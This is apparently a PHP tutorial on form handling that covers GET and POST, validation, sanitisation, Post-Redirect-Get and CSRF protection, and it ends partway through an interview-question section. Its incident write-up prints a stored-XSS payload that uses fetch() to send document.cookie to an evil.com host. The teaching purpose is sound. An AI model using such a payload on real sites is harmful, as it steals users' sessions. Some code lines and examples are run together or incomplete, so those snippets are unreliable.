PHP automatically populates $_GET or $_POST based on the form's method attribute
GET appends data to the URL (bookmarkable) — use for searches and filters
POST sends data invisibly in the request body — use for login, orders, and any data modifications
htmlspecialchars() is the first line of defense against XSS attacks
Server-side validation is mandatory; client-side is just a convenience layer
The null coalescing operator (??) prevents undefined index notices on initial page load
Plain-English First
Imagine a paper form at the doctor's office — you fill in your name, date of birth, and symptoms, then hand it to the receptionist who reads it and does something with it. A PHP form works exactly the same way: the HTML page is the paper form, the user fills it in, and when they hit Submit, PHP is the receptionist on the other side who reads every field and decides what to do next. Without this mechanism, websites could only show you information — they could never take any from you.
Almost every useful thing on the web involves a form. Logging into Instagram, searching on Google, buying something on Amazon, leaving a comment — all of it starts with a user typing something and hitting a button. If you want to build anything interactive with PHP, understanding how forms work is not optional, it is the very foundation everything else sits on.
Before PHP (and server-side languages like it), web pages were just static documents — like a poster on a wall. You could look at them but not talk back. PHP solved this by giving the server the ability to receive data from the browser, process it, and respond dynamically. That two-way conversation between the browser and the server is what makes the modern web feel alive.
By the end of this article you will know how to build an HTML form, send its data to a PHP script using both GET and POST methods, read and display that data safely, validate it so bad input gets rejected, and understand the security pitfalls every beginner trips over. You will have working, runnable code you can drop straight into your own project.
How a Form Actually Sends Data to PHP — The Full Picture
Before writing a single line of PHP, you need to understand the journey data takes from the browser to your script. When a user fills out a form and clicks Submit, the browser packages up every field into a request and sends it to the URL specified in the form's action attribute. The method attribute decides HOW that data travels — either stuck onto the URL (GET) or tucked inside the request body (POST).
Think of GET like writing a note on the outside of an envelope — anyone who sees the envelope can read it, and the note becomes part of the address. POST is like putting the note inside a sealed envelope — it still gets delivered, but it is not visible on the outside.
On the PHP side, the language automatically unpacks that envelope for you and stores every field in a special array called a superglobal. If the form used GET, your data lands in $_GET. If it used POST, it lands in $_POST. You do not have to do anything special to make this happen — PHP does it automatically on every single request. Your job is to reach into those arrays and use the values responsibly.
contact_form.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
// ─────────────────────────────────────────────// contact_form.php// A single file that shows the form AND handles// the submission — this pattern is called a// 'self-processing form' and is very common.// ─────────────────────────────────────────────// Check whether the form has actually been submitted.// $_SERVER['REQUEST_METHOD'] tells us HOW this page was requested.// On first load it is 'GET' (just visiting the page).// After the user clicks Submit it becomes 'POST'.
$formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST');
$userName = ''; // Will hold the cleaned name value
$userMessage = ''; // Will hold the cleaned message value
$feedbackToUser = ''; // What we show the user after submissionif ($formWasSubmitted) {
// htmlspecialchars() converts dangerous characters like < > & into// safe display versions. This stops basic XSS attacks.// FILTER_DEFAULT trims nothing — we handle that manually.
$userName = htmlspecialchars(trim($_POST['name']));
$userMessage = htmlspecialchars(trim($_POST['message']));
// trim() removes accidental spaces at the start and end.// Without it, ' Alice ' and 'Alice' would be treated differently.
$feedbackToUser = "Thanks, $userName! We received your message.";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ContactUs</title>
</head>
<body>
<h1>ContactUs</h1>
<?php if ($feedbackToUser !== ''): ?>
<!-- Only render this block when there IS a message to show -->
<p style="color: green;"><?= $feedbackToUser ?></p>
<?php endif; ?>
<!-- action="" means 'send back to THIS same file' -->
<!-- method="post" means data goes in the request body, not the URL -->
<form action="" method="post">
<label for="name">YourName:</label><br>
<!-- The'name' attribute on each input is the KEY in $_POST -->
<input type="text" id="name" name="name"
value="<?= htmlspecialchars($userName) ?>">
<br><br>
<label for="message">YourMessage:</label><br>
<textarea id="message" name="message" rows="4" cols="40"
><?= htmlspecialchars($userMessage) ?></textarea>
<br><br>
<button type="submit">SendMessage</button>
</form>
</body>
</html>
Output
── First visit (no submission) ──────────────────
Shows the blank form. No feedback message.
── After filling in Name: Alice, Message: Hello! ──
Thanks, Alice! We received your message.
[Form re-displays with previous values still filled in]
Why One File?
Using a single file for both the form and its handler (action="") is perfectly valid and very common for small forms. For large apps you would split these into separate files, but for learning, keeping everything together lets you see the full flow in one place.
Production Insight
In production, self-processing forms can complicate error logging — if the page crashes before the form, the user sees a blank page without knowing why.
Separate the display and handler into two files once your form grows beyond three fields.
Better separation means you can log stack traces without exposing raw data to the user.
Key Takeaway
PHP reads form data into $_GET or $_POST automatically.
You choose the method with the form's attribute.
Always access superglobal keys with ?? to avoid undefined index notices.
Choosing Between Self-Processing and Separate Files
IfForm with 1–3 fields, no complex validation
→
UseSelf-processing file (action="") is fine and simpler to deploy.
IfForm with 4+ fields or database insertion
→
UseSeparate handler (action="process.php") improves maintainability and error isolation.
IfForm requires file uploads
→
UseSeparate file is mandatory — mixed concerns create security holes.
GET vs POST — Choosing the Right Method Every Time
This is one of those decisions that matters more than it looks. GET and POST are not just two ways to do the same thing — they are designed for fundamentally different situations, and picking the wrong one causes real problems.
GET appends form data to the URL as a query string, like /search.php?query=shoes&size=10. This is perfect for searches and filters because the URL is now shareable and bookmarkable. Hit refresh and nothing bad happens — you are just re-running the same search. GET requests are also cached by browsers, which can speed things up.
POST sends data invisibly in the request body. Use POST whenever you are changing something — logging in, submitting a comment, placing an order, updating a profile. If you used GET for a login form, the password would appear in the URL, in browser history, and in server logs. That is a serious security issue. POST also avoids the 'double submission' problem: most browsers warn you before resubmitting a POST request, which prevents accidental duplicate orders.
The rule of thumb: GET is for asking questions (reading data). POST is for taking action (writing or changing data).
search_with_get.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
// ─────────────────────────────────────────────// search_with_get.php// Demonstrates GET — ideal for a search form// because the results URL can be bookmarked.// e.g. /search_with_get.php?keyword=laptop&category=electronics// ─────────────────────────────────────────────// isset() checks that the key actually EXISTS in $_GET.// Without this check, accessing $_GET['keyword'] on a fresh// page load causes an 'Undefined index' notice.
$searchKeyword = isset($_GET['keyword'])
? htmlspecialchars(trim($_GET['keyword']))
: '';
$selectedCategory = isset($_GET['category'])
? htmlspecialchars(trim($_GET['category']))
: 'all';
// Simulate a product list (in a real app this comes from a database)
$allProducts = [
['name' => 'Laptop Pro 15', 'category' => 'electronics'],
['name' => 'Wireless Mouse', 'category' => 'electronics'],
['name' => 'Running Shoes', 'category' => 'footwear'],
['name' => 'Leather Boots', 'category' => 'footwear'],
];
// Filter products based on the search input
$matchingProducts = array_filter($allProducts, function($product) use ($searchKeyword, $selectedCategory) {
$nameMatches = ($searchKeyword === '' || stripos($product['name'], $searchKeyword) !== false);
$categoryMatches = ($selectedCategory === 'all' || $product['category'] === $selectedCategory);
return $nameMatches && $categoryMatches;
});
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>ProductSearch</title></head>
<body>
<h1>SearchProducts</h1>
<!-- method="get" — results URL becomes shareable/bookmarkable -->
<form action="" method="get">
<label for="keyword">Search:</label>
<!-- value= re-fills the box after submission so user sees what they typed -->
<input type="text" id="keyword" name="keyword"
value="<?= $searchKeyword ?>" placeholder="e.g. laptop">
<label for="category">Category:</label>
<select id="category" name="category">
<option value="all" <?= $selectedCategory === 'all' ? 'selected' : '' ?>>All</option>
<option value="electronics" <?= $selectedCategory === 'electronics' ? 'selected' : '' ?>>Electronics</option>
<option value="footwear" <?= $selectedCategory === 'footwear' ? 'selected' : '' ?>>Footwear</option>
</select>
<button type="submit">Search</button>
</form>
<hr>
<h2>Results</h2>
<?php if (empty($matchingProducts)): ?>
<p>No products found. Try a different search.</p>
<?php else: ?>
<ul>
<?php foreach ($matchingProducts as $product): ?>
<!-- Each result is safely echoed — already sanitised above -->
<li><?= $product['name'] ?> <em>(<?= $product['category'] ?>)</em></li>
<?php endforeach; ?>
</ul>
<?php endif; ?>
</body>
</html>
Output
── URL after searching 'shoe' in All categories ──
Watch Out: Never Use GET for Passwords or Sensitive Data
If your login form uses method="get", the password appears in the URL bar, gets saved in browser history, and lands in your web server's access logs in plain text. Always use POST for login, registration, payment, and any form that handles sensitive information.
Production Insight
In production, mixing GET and POST can lead to confusing debugging — a search form accidentally set to POST won't be bookmarkable, but no error is thrown.
Pro tip: use GET for idempotent queries and POST for state-changing operations.
Also note: some CDNs cache GET responses aggressively — dynamic search results should use cache-busting headers or switch to POST for non-cached results.
Key Takeaway
GET = read, POST = write.
Never put sensitive data in GET URLs.
Use POST for any action that creates, updates, or deletes resources.
Method Selection Guide
IfData is read-only (search, filter, pagination)
→
UseUse GET — URLs are shareable, cacheable, and safe to refresh.
IfData changes state (login, order, delete)
→
UseUse POST — data is hidden from URL, no accidental resubmission warning.
IfForm includes file upload
→
UseUse POST with enctype="multipart/form-data".
Validating User Input — Never Trust What the Browser Sends
Here is the most important mindset shift in all of web development: treat every piece of data from a form as potentially hostile until you have checked it yourself. Users make typos. Some users are malicious. Either way, your PHP script has to decide what counts as valid input and reject everything that does not meet that standard.
Validation happens on two levels. Client-side validation (HTML required, type="email", etc.) gives users instant feedback without a page reload — great for user experience. But it is trivially bypassed: anyone can open browser dev tools and remove the required attribute, or send a raw HTTP request with no browser at all. Server-side validation in PHP is the real gatekeeper, and it is non-negotiable.
For each field, ask yourself three questions: Is it present? Is it the right type/format? Is it within acceptable limits? PHP gives you powerful tools for this: empty() to catch blank values, filter_var() to validate emails and URLs, strlen() for length checks, and preg_match() for pattern matching. Doing these checks consistently is what separates a toy project from a production-ready application.
registration_form.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
// ─────────────────────────────────────────────// registration_form.php// Full server-side validation example.// Shows how to collect errors and re-display// the form with helpful messages.// ─────────────────────────────────────────────
$formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST');
// Store all validation error messages here.// Key = field name, Value = error string.
$validationErrors = [];
// Keep old input so the form re-fills after a failed submission.// The user should NOT have to retype everything just because one// field was wrong — that is a terrible user experience.
$oldInput = [
'username' => '',
'email' => '',
'age' => '',
];
if ($formWasSubmitted) {
// ── Collect raw values ──────────────────────────────// We store raw (unsanitised) values in $oldInput so we// can re-fill the form. We sanitise later, after validation.
$rawUsername = trim($_POST['username'] ?? '');
$rawEmail = trim($_POST['email'] ?? '');
$rawAge = trim($_POST['age'] ?? '');
$oldInput = [
'username' => htmlspecialchars($rawUsername),
'email' => htmlspecialchars($rawEmail),
'age' => htmlspecialchars($rawAge),
];
// ── Validate: Username ──────────────────────────────if (empty($rawUsername)) {
$validationErrors['username'] = 'Username is required.';
} elseif (strlen($rawUsername) < 3 || strlen($rawUsername) > 20) {
$validationErrors['username'] = 'Username must be 3–20 characters.';
} elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $rawUsername)) {
// Only letters, numbers, and underscores allowed
$validationErrors['username'] = 'Username can only contain letters, numbers and underscores.';
}
// ── Validate: Email ─────────────────────────────────if (empty($rawEmail)) {
$validationErrors['email'] = 'Email address is required.';
} elseif (!filter_var($rawEmail, FILTER_VALIDATE_EMAIL)) {
// FILTER_VALIDATE_EMAIL returns false if the format is invalid
$validationErrors['email'] = 'Please enter a valid email address.';
}
// ── Validate: Age ───────────────────────────────────if (empty($rawAge)) {
$validationErrors['age'] = 'Age is required.';
} elseif (!ctype_digit($rawAge)) {
// ctype_digit() returns true ONLY if every character is 0-9// This rejects '25.5', '-1', '25abc' etc.
$validationErrors['age'] = 'Age must be a whole number.';
} elseif ((int)$rawAge < 13 || (int)$rawAge > 120) {
$validationErrors['age'] = 'Age must be between 13 and 120.';
}
// ── Only proceed if zero errors ─────────────────────if (empty($validationErrors)) {
// At this point data is valid. Safe to use.
$cleanUsername = htmlspecialchars($rawUsername);
$cleanEmail = filter_var($rawEmail, FILTER_SANITIZE_EMAIL);
$cleanAge = (int)$rawAge;
// In a real app: save to database, send welcome email, etc.// For now, just show a success message.echo"<!DOCTYPE html><html><body>";
echo"<h1>Registration Successful!</h1>";
echo"<p>Welcome, <strong>$cleanUsername</strong>! ";
echo"We sent a confirmation to $cleanEmail.</p>";
echo"</body></html>";
exit; // Stop further output — do not show the form again
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Register</title>
<style>
.error { color: red; font-size: 0.9em; }
label { display: block; margin-top: 12px; font-weight: bold; }
input { padding: 6px; width: 250px; }
</style>
</head>
<body>
<h1>Create an Account</h1>
<form action="" method="post" novalidate>
<!-- novalidate disables browser validation so PHP is the sole gatekeeper -->
<label for="username">Username</label>
<input type="text" id="username" name="username"
value="<?= $oldInput['username'] ?>">
<!-- Show error only if this field has one -->
<?php if (isset($validationErrors['username'])): ?>
<span class="error"><?= $validationErrors['username'] ?></span>
<?php endif; ?>
<label for="email">EmailAddress</label>
<input type="email" id="email" name="email"
value="<?= $oldInput['email'] ?>">
<?php if (isset($validationErrors['email'])): ?>
<span class="error"><?= $validationErrors['email'] ?></span>
<?php endif; ?>
<label for="age">Age</label>
<input type="number" id="age" name="age"
value="<?= $oldInput['age'] ?>">
<?php if (isset($validationErrors['age'])): ?>
<span class="error"><?= $validationErrors['age'] ?></span>
<?php endif; ?>
<br><br>
<button type="submit">Register</button>
</form>
</body>
</html>
Welcome, Alice_99! We sent a confirmation to alice@example.com.
Pro Tip: Validate First, Sanitise Second
Always validate before you sanitise. Sanitising changes the data (e.g. stripping characters), which can mask whether the original input was actually valid. Validate the raw input, reject it if it fails, then sanitise whatever passes before you store or display it.
Production Insight
In production, validation errors often surface as 500 errors when unexpected input types are submitted (e.g., passing an array for a string field).
Use filter_var with FILTER_VALIDATE_* before type assertions to catch these gracefully.
Log validation failures to a monitoring system to detect probing attacks — repeated failures from the same IP are a red flag.
Key Takeaway
Treat all input as hostile.
Check presence, format, and bounds.
Validate raw, sanitise after — never trust the browser.
Validation Approach Decision
IfField is always required
→
UseCheck with empty() after trim() — empty string, '0', null are all considered empty.
IfField type is email
→
UseUse filter_var($input, FILTER_VALIDATE_EMAIL) — it follows RFC 5321.
IfField must be integer within a range
→
UseUse ctype_digit() first, then cast to int and compare with >= and <=.
Input Filtering and Sanitisation — When Validation Passes But Data Is Still Dangerous
Validation tells you the input is the right shape. But even valid input can contain dangerous content. For example, a perfectly valid email address like <script>alert(1)</script>@x.com would pass filter_var(FILTER_VALIDATE_EMAIL) — yes, it's technically a valid RFC-compliant email. But if you echo that back into HTML, you've got an XSS vulnerability.
Sanitisation transforms the data into a safe form without necessarily rejecting it. PHP provides htmlspecialchars() for HTML output, filter_var($email, FILTER_SANITIZE_EMAIL) to strip invalid characters from emails, and strip_tags() to remove HTML tags (though use with caution — it can be bypassed if not combined with encoding).
The key difference: validation rejects bad data, sanitisation scrubs data that is structurally valid but still unsafe for a given context. You need both. And you need to sanitise for the output context — what is safe for a database is not safe for an HTML page, which is not safe for a JSON API.
sanitise_example.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
// ─────────────────────────────────────────────// sanitise_example.php// Demonstrates safe sanitisation before output// and before database storage.// ─────────────────────────────────────────────
$rawDescription = $_POST['description'] ?? '';
// Step 1: validate basic structure (e.g., not too long)if (strlen($rawDescription) > 500) {
die('Description too long.');
}
// Step 2: sanitise for HTML output (always)
$safeForHTML = htmlspecialchars($rawDescription, ENT_QUOTES, 'UTF-8');
// Step 3: sanitise for database storage (strip any SQL-metacharacters)// Escaping is done by prepared statements, but you can also strip tags
$safeForDB = strip_tags($rawDescription); // removes HTML/script tags// Later, when displaying:echo"<p>$safeForHTML</p>";
// When storing:// $stmt->bindParam(':desc', $safeForDB);// (Prepared statements handle the rest.)
?>
<form method="post">
<textarea name="description"><?= $safeForHTML ?></textarea>
<button type="submit">Submit</button>
</form>
Sanitisation Depends on Context
htmlspecialchars() is safe for HTML. But if you are echoing into a JavaScript string, you need different escaping (e.g., json_encode()). For SQL, use prepared statements, not manual escaping. Always sanitise for the context where the data will be used.
Production Insight
A common production mistake: using strip_tags() as the only sanitisation and thinking it's enough.
strip_tags() does not remove event handlers like onmouseover — you still need htmlspecialchars() for output.
In one incident, an attacker used a crafted email with HTML entities that bypassed strip_tags but rendered when output without htmlspecialchars, leading to stored XSS.
Always use htmlspecialchars as the final step before HTML output.
Key Takeaway
Valid input can still be dangerous.
Sanitise for the output context.
htmlspecialchars is for HTML, prepared statements are for SQL.
Sanitisation Strategy by Output Context
IfData will be echoed into HTML body or attribute
→
UseUse htmlspecialchars($data, ENT_QUOTES, 'UTF-8') — the universal default.
IfData will be echoed into a JavaScript string
→
UseUse json_encode($data) or rawurlencode() depending on context — never just htmlspecialchars.
IfData will be stored in a database via SQL
→
UseUse prepared statements with PDO or MySQLi — no manual escaping needed.
The Post-Redirect-Get Pattern — Stop Double Submissions in Production
Here's a scenario every developer has faced: a user submits a form, the order goes through, and then they refresh the page. The browser warns 'Confirm resubmission'. If the user clicks confirm, the order is submitted again — duplicate record, double charge, angry customer.
The Post-Redirect-Get (PRG) pattern solves this. After successfully processing a POST request, the server sends a 302 redirect to a GET URL (often the same page with a success parameter). The browser then issues a new GET request. If the user refreshes now, they just reload the GET page — no resubmission.
Implementing PRG in PHP is straightforward: after validation passes and the action is complete, call header('Location: success.php') and exit. The user lands on a separate page that cannot be resubmitted by a refresh.
order_form.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
// ─────────────────────────────────────────────// order_form.php// Demonstrates Post-Redirect-Get pattern.// ─────────────────────────────────────────────session_start();
$formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST');
if ($formWasSubmitted) {
// Validate and process the order...
$productId = $_POST['product_id'] ?? '';
// (validation omitted for brevity)// Process the order (save to database, charge card, etc.)// ...// Store success message in session for display after redirect
$_SESSION['order_success'] = "Order placed successfully!";
// Redirect to the same page (or a success page)header('Location: order_form.php?status=success');
exit; // Ensure no further output
}
$statusMessage = '';
if (isset($_GET['status']) && $_GET['status'] === 'success') {
// Retrieve flash message from sessionif (isset($_SESSION['order_success'])) {
$statusMessage = $_SESSION['order_success'];
unset($_SESSION['order_success']); // Clean up
}
}
?>
<!DOCTYPE html>
<html>
<head><title>PlaceOrder</title></head>
<body>
<?php if ($statusMessage): ?>
<p style="color:green;"><?= htmlspecialchars($statusMessage) ?></p>
<?php endif; ?>
<form method="post" action="">
<label>ProductID: <input type="text" name="product_id" required></label>
<button type="submit">PlaceOrder</button>
</form>
</body>
</html>
Always exit After header()
After sending a Location header, you must call exit (or die) to stop script execution. Otherwise, the rest of the code may still run, potentially processing the form twice before the redirect happens.
Production Insight
In production, PRG is non-negotiable for any write operation.
A payment gateway integration without PRG led to 12 duplicate charges in one hour because users hitting back and resubmit triggered new payments.
Also, use flash messages (session-based) to pass success info to the redirected page — avoid passing sensitive data in the URL query string of the redirect.
Key Takeaway
After successful POST, always redirect via GET.
PRG prevents duplicate submissions.
Use session flash for success messages, never put them in the redirect URL.
When to Apply PRG
IfForm performs a database INSERT or UPDATE
→
UseAlways redirect after success — PRG is mandatory.
IfForm sends an email (contact form)
→
UseRedirect to avoid duplicate emails on refresh.
IfForm is a search or filter (GET method)
→
UseNo need for PRG — GET requests are idempotent by design.
Advanced Security: Preventing CSRF, SQL Injection, and Session Hijacking in Forms
You've validated and sanitised input, but your form is still vulnerable to other attacks. Cross-Site Request Forgery (CSRF) tricks an authenticated user into performing an action they didn't intend — like changing their email or transferring money. SQL injection happens when unsanitised data is concatenated into SQL queries. And if you store session data poorly, an attacker can hijack a user's session.
CSRF prevention: include a unique, random token in every form that processes data. The token is stored in the user's session and validated on submission. Laravel and Symfony handle this automatically with middleware. In raw PHP, generate a token with bin2hex(random_bytes(32)) and compare.
SQL injection: never use string interpolation in SQL queries. Use prepared statements (PDO or MySQLi). If you are using mysqli::prepare, you're safe.
Session hijacking: regenerate session ID after login (session_regenerate_id()), use HTTPS, and set the session cookie with HttpOnly and Secure flags.
secure_form.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
// ─────────────────────────────────────────────// secure_form.php// A form with CSRF protection and safe DB access.// ─────────────────────────────────────────────session_start();
$errors = [];
// Generate CSRF token if not existingif (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// CSRF check
$submittedToken = $_POST['csrf_token'] ?? '';
if (!hash_equals($_SESSION['csrf_token'], $submittedToken)) {
$errors[] = 'Invalid or expired form token. Please submit again.';
}
// Validate other fields...
$email = filter_var($_POST['email'] ?? '', FILTER_VALIDATE_EMAIL);
if (!$email) {
$errors[] = 'Invalid email.';
}
if (empty($errors)) {
// Safe database insertion using PDO prepared statement
$pdo = newPDO('mysql:host=localhost;dbname=test', 'user', 'pass');
$stmt = $pdo->prepare('INSERT INTO subscriptions (email) VALUES (:email)');
$stmt->execute(['email' => $email]);
// Regenerate token after successful use to prevent replay
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
header('Location: secure_form.php?success=1');
exit;
}
}
?>
<form method="post">
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
<label>Email: <input type="email" name="email" required></label>
<button type="submit">Subscribe</button>
</form>
<?php foreach ($errors as $error): ?>
<p style="color:red;"><?= htmlspecialchars($error) ?></p>
<?php endforeach; ?>
CSRF Token Comparison: Use hash_equals()
Always compare CSRF tokens using hash_equals($_SESSION['csrf_token'], $submittedToken). Simple == comparison is vulnerable to timing attacks — hash_equals takes constant time regardless of the match result.
Production Insight
In production, CSRF tokens should be tied to a user session and expire after a certain time (e.g., 30 minutes).
Never expose the token in the URL via GET forms — always use POST with hidden fields.
One financial site failed to regenerate CSRF tokens after submission, allowing an attacker to reuse a single token for multiple forged requests until the token expired.
Key Takeaway
Validate, sanitize, protect.
CSRF tokens stop forged submissions.
Prepared statements stop SQL injection.
Session hygiene stops hijacking.
Security Layer Decision
IfForm modifies data (POST) and users are logged in
→
UseImplement CSRF protection with per-session tokens.
IfForm interacts with a database
→
UseUse prepared statements (PDO or MySQLi) — never raw concatenation.
IfYou handle user login or sensitive data
→
UseRegenerate session ID on login, use HTTPS, and set session cookie flags.
● Production incidentPOST-MORTEMseverity: high
The Unvalidated Comment Form That Leaked Admin Credentials
Symptom
Users reported strange redirects to malicious sites after logging in. Admin panel showed unexpected account activity.
Assumption
The form only used client-side validation with HTML attributes; the team assumed browser-level checks were sufficient.
Root cause
The comment form echoed user input directly into HTML without htmlspecialchars(). The attacker injected <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>. When an admin viewed the comment in the dashboard, the script executed and sent their session cookie to the attacker.
Fix
Wrap all output with htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering. Add server-side validation that strips or encodes HTML tags. Implement Content Security Policy (CSP) headers to block inline scripts.
Key lesson
Never echo raw user input — htmlspecialchars() is not optional, it's the cost of entry for any PHP form.
Client-side validation is a UX feature, not a security boundary. Assume every request can come from curl with no browser.
CSP headers add a second layer of defense — even if XSS slips through, the script won't execute.
Production debug guideCommon production issues with form submissions and the exact commands to diagnose them.4 entries
Symptom · 01
Form submission results in blank page (white screen of death)
Verify the form's enctype is not set to multipart/form-data (only for file uploads). Check if the request body is too large: php_value post_max_size in .htaccess or php.ini. var_dump(file_get_contents('php://input')) to see raw body.
Symptom · 03
$_GET values appear but form says method='post'
→
Fix
Check the form HTML for typos in method attribute (e.g., 'post' vs 'post '). Use browser DevTools Network tab to inspect the request method. Additionally, check for URL rewriting that may append query strings.
Symptom · 04
Validation works locally but fails on production
→
Fix
Compare PHP versions — older PHP may have different behavior for filter_var or ctype_digit. Check if magic_quotes_gpc is enabled (deprecated but still present in some configs). Verify the production error log for warnings about undefined array keys.
★ PHP Form Debugging Cheat SheetFive-minute diagnostics when a form submission goes wrong in production.
Form submitted but no feedback shown−
Immediate action
Check the browser's Network tab — verify the request method and URL.
Commands
<?php var_dump($_POST); ?> at the top of the handler to see what PHP received.
tail -f /var/log/apache2/error.log (or php-fpm log) to catch errors.
Fix now
Ensure the form action attribute matches the correct URL. If self-processing, action="" is fine.
Undefined index notice on first page load+
Immediate action
Replace all $_POST['field'] with $_POST['field'] ?? ''.
Commands
Search the codebase for $_POST or $_GET accesses not guarded by isset() or the ?? operator.
Enable E_NOTICE on local dev: error_reporting(E_ALL); ini_set('display_errors', 1);
Fix now
Use the null coalescing operator: $value = $_POST['email'] ?? '';
Script injection (XSS) suspected+
Immediate action
Check if any user-submitted content is echoed without htmlspecialchars().
Temporarily add header('Content-Security-Policy: default-src \'self\''); to block inline scripts.
Fix now
Wrap every echo of user data: echo htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
GET vs POST — Complete Comparison
Feature / Aspect
GET Method
POST Method
Data location
Appended to the URL (?key=value)
Sent in the request body, not visible in URL
Bookmarkable / Shareable
Yes — URL captures the full state
No — data is not in the URL
Browser back/refresh
Safe — just re-runs the same request
Browser warns before re-submitting
Data size limit
~2,000 characters (URL length limit)
Effectively unlimited (server config dependent)
Security for sensitive data
Poor — visible in URL, logs, history
Better — not stored in URL or browser history
Caching by browser/proxy
Yes — responses can be cached
No — POST responses are not cached
PHP superglobal used
$_GET
$_POST
Typical use case
Search forms, filters, pagination
Login, registration, payments, file uploads
Idempotent (safe to repeat)?
Yes — repeating has no side effects
No — repeating could create duplicate records
Key takeaways
1
PHP automatically parses submitted form data into $_GET or $_POST
you choose which one by setting method='get' or method='post' on the HTML form element.
2
Use GET for read-only operations (search, filter) because the URL is shareable and repeatable. Use POST for any action that writes, updates, or deletes data
and always for passwords.
3
Never echo $_GET or $_POST values directly into HTML
always wrap them in htmlspecialchars() first. Skipping this one step is the root cause of most XSS vulnerabilities in beginner PHP apps.
4
Server-side validation is non-negotiable. HTML required attributes and input types are a UX tool only
any user or bot can bypass them entirely. PHP must independently verify every value before trusting it.
5
Apply the Post-Redirect-Get pattern after every successful POST to prevent duplicate submissions.
6
Add CSRF tokens to forms that perform state-changing actions on behalf of authenticated users.
Common mistakes to avoid
4 patterns
×
Echoing superglobal values directly without sanitising
Symptom
A user submits a name field containing <script>alert('XSS')</script>. The script executes in the browser of any admin who views the submission, leading to session theft or defacement.
Fix
Always wrap output with htmlspecialchars($value, ENT_QUOTES, 'UTF-8') before echoing. Never trust that input is safe even if validated as 'correct format'.
×
Not checking isset() before accessing a superglobal key
Symptom
On the first page load, you try to access $_POST['email'] which doesn't exist yet. PHP throws an 'Undefined index' notice and the page may show unexpected output or break if error display is on.
Fix
Use the null coalescing operator: $email = $_POST['email'] ?? ''; Or wrap in isset($_POST['email']) check. The ?? pattern is cleaner and works for both GET and POST.
×
Trusting client-side validation as the only protection
Symptom
You add required and type='email' to inputs. A user bypasses the browser by submitting via curl with a malicious payload. The form inserts dangerous data that could crash your app or corrupt the database.
Fix
Treat HTML validation as a UX convenience only. Every field must also be validated in PHP on the server side before you use or store the value. The browser is not your security layer.
×
Not implementing Post-Redirect-Get (PRG) pattern
Symptom
User submits a payment form, then refreshes the page. The browser resubmits POST data, creating duplicate orders and double charges.
Fix
After successful POST processing, redirect to a GET URL (e.g., header('Location: success.php') and exit). This prevents resubmission on refresh.
INTERVIEW PREP · PRACTICE MODE
Interview Questions on This Topic
Q01JUNIOR
What is the difference between $_GET and $_POST in PHP, and how do you d...
Q02JUNIOR
A user submits a form with their name as . Your...
Q03SENIOR
If you refresh a page after submitting a POST form, the browser asks 'Ar...
Q04SENIOR
Explain how to implement CSRF protection for a PHP form that handles use...
Q01 of 04JUNIOR
What is the difference between $_GET and $_POST in PHP, and how do you decide which one to use for a given form?
ANSWER
$_GET receives data from the URL query string (after ? in the URL). Use it for read-only operations like search forms and filters because the resulting URL is shareable and idempotent. $_POST receives data from the HTTP request body. Use it for any action that changes state — login, registration, order submission, file uploads. POST keeps data out of URLs and browser history, and browsers warn before resubmission which prevents accidental duplicate operations. The rule: GET for read, POST for write.
Q02 of 04JUNIOR
A user submits a form with their name as . Your PHP script echoes it back to the page. What happens, and how do you fix it?
ANSWER
The browser will execute the injected script, displaying an alert. This is a stored XSS vulnerability. Fix: always use htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before outputting any user-controlled data into HTML. This encodes <, >, &, ' and " into their safe HTML entity equivalents. Never echo $_POST or $_GET values directly without sanitising them for the output context.
Q03 of 04SENIOR
If you refresh a page after submitting a POST form, the browser asks 'Are you sure you want to resubmit?' — why does this happen, and what is the standard way to prevent the same form from being processed twice?
ANSWER
